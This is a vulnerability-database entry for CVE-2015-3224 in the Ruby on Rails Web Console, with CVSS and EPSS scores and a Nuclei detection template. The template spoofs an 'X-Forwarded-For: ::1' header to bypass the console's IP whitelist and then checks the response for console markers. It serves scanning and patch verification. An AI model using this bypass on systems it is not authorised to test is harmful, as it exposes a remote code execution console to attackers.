Ruby on Rails Web Console - Remote Code Execution

2022-04-2621:55:12

ProjectDiscovery

github.com

cve2015

remote code execution

ruby

hackerone

rails

intrusive

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

AI Score

6.1

Confidence

Low

EPSS

0.925

Percentile

99.0%

JSON

Ruby on Rails Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client’s IP address, which allows remote attackers to bypass the whitelisted_ips protection mechanism via a crafted request to request.rb.

id: CVE-2015-3224

info:
  name: Ruby on Rails Web Console - Remote Code Execution
  author: pdteam
  severity: medium
  description: Ruby on Rails Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client's IP address, which allows remote attackers to bypass the whitelisted_ips protection mechanism via a crafted request to request.rb.
  impact: |
    Remote code execution can lead to unauthorized access, data breaches, and complete compromise of the affected system.
  remediation: |
    Upgrade to a patched version of Ruby on Rails or disable the Web Console feature.
  reference:
    - https://www.metahackers.pro/rails-web-console-v2-whitelist-bypass-code-exec/
    - https://www.jomar.fr/posts/2022/basic_recon_to_rce_ii/
    - https://hackerone.com/reports/44513
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3224
    - http://lists.fedoraproject.org/pipermail/package-announce/2015-June/160881.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-3224
    cwe-id: CWE-284
    epss-score: 0.92904
    epss-percentile: 0.99025
    cpe: cpe:2.3:a:rubyonrails:web_console:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rubyonrails
    product: web_console
  tags: cve2015,cve,ruby,hackerone,rce,rails,intrusive,rubyonrails

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{randstr}}"

    headers:
      X-Forwarded-For: ::1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Rails.root:"
          - "Action Controller: Exception caught"
        condition: and

      - type: word
        part: response
        words:
          - X-Web-Console-Session-Id
          - data-remote-path=
          - data-session-id=
        case-insensitive: true
        condition: or
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